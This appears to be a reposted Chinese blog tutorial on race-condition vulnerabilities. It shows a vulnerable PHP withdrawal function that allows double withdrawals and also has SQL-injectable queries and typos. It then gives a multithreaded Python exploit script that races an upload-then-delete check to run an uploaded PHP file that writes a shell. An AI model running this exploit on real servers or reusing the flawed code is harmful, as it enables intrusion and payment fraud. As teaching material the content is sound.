我是靠谱客的博主 外向野狼,最近开发中收集的这篇文章主要介绍条件竞争,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

1:条件竞争

 

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

 

2:例子1:

某平台提现功能的业务处理流程为: 用户发起提现 -> 获取用户金额并判断能否提现 -> 提现:生成提现订单->扣除提现金额

 

<?php

public funtion withdraw($user_id, $withdrawal_amount){

//获取余额

$money = $db->FirstRow("SELECT * FROM ".Tb('money')." WHERE user_id='{$user_id}'");

 

if($money['balance'] == 0) ShowError('金额为零,无法提现!');

 

//提现余额小于等于数据库的值就提现

if ($withdrawal_amount <= $money['balance']) {

create_withdraw_order($withdrawal_amount, $user_id, time());

$db->Execute("UPDATE ".Tb('money')." SET balance=balance-{$withdrawal_amount} WHERE uer_id='{$user_id}'");

ShowSuccess('提现成功!');

}else{

ShowError('提现金额过高!');

}

}

?>

 

上述代码在非并发情况下是没有问题的。

 

假设现有一个用户在系统中共有2000元可以提现,他想全部提现。于是该用户同时发起两次提现请求,第一次提交请求提现2000元,系统已经创建了提现订单但还未来得及修改该用户剩余金额,此时第二次提现请求同样是提现2000元,于是程序在还未修改完上一次请求后的余额前就进行了余额判断,显然如果这里余额判断速度快于上一次余额修改速度,将会产生成功提现的两次订单,而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元。

 

例子2:先存储文件,再判断是否合法,然后又删除。。。

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”

攻击:首先上传一个php文件

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

 

利用脚本

 

import requests

import threading

import os

 

class RaceCondition(threading.Thread):

def __init__(self):

threading.Thread.__init__(self)

 

self.url = 'http://127.0.0.1/a.php'

self.uploadUrl = 'http://127.0.0.1/race.php'

 

def _get(self):

print('try to call uploaded file...')

r = requests.get(self.url)

if r.status_code == 200:

print('[*] create file info.php success.')

os._exit(0)

 

def _upload(self):

print('upload file...')

file = {'myfile': open('a.php', 'r')}

requests.post(self.uploadUrl, files=file)

 

def run(self):

while True:

for i in range(5):

self._get()

 

for i in range(10):

self._upload()

self._get()

 

if __name__ == '__main__':

threads = 50

 

for i in range(threads):

t = RaceCondition()

t.start()

 

for i in range(threads):

t.join()

最后

以上就是外向野狼为你收集整理的条件竞争的全部内容,希望文章能够帮你解决条件竞争所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(51)

评论列表共有 0 条评论

立即
投稿
返回
顶部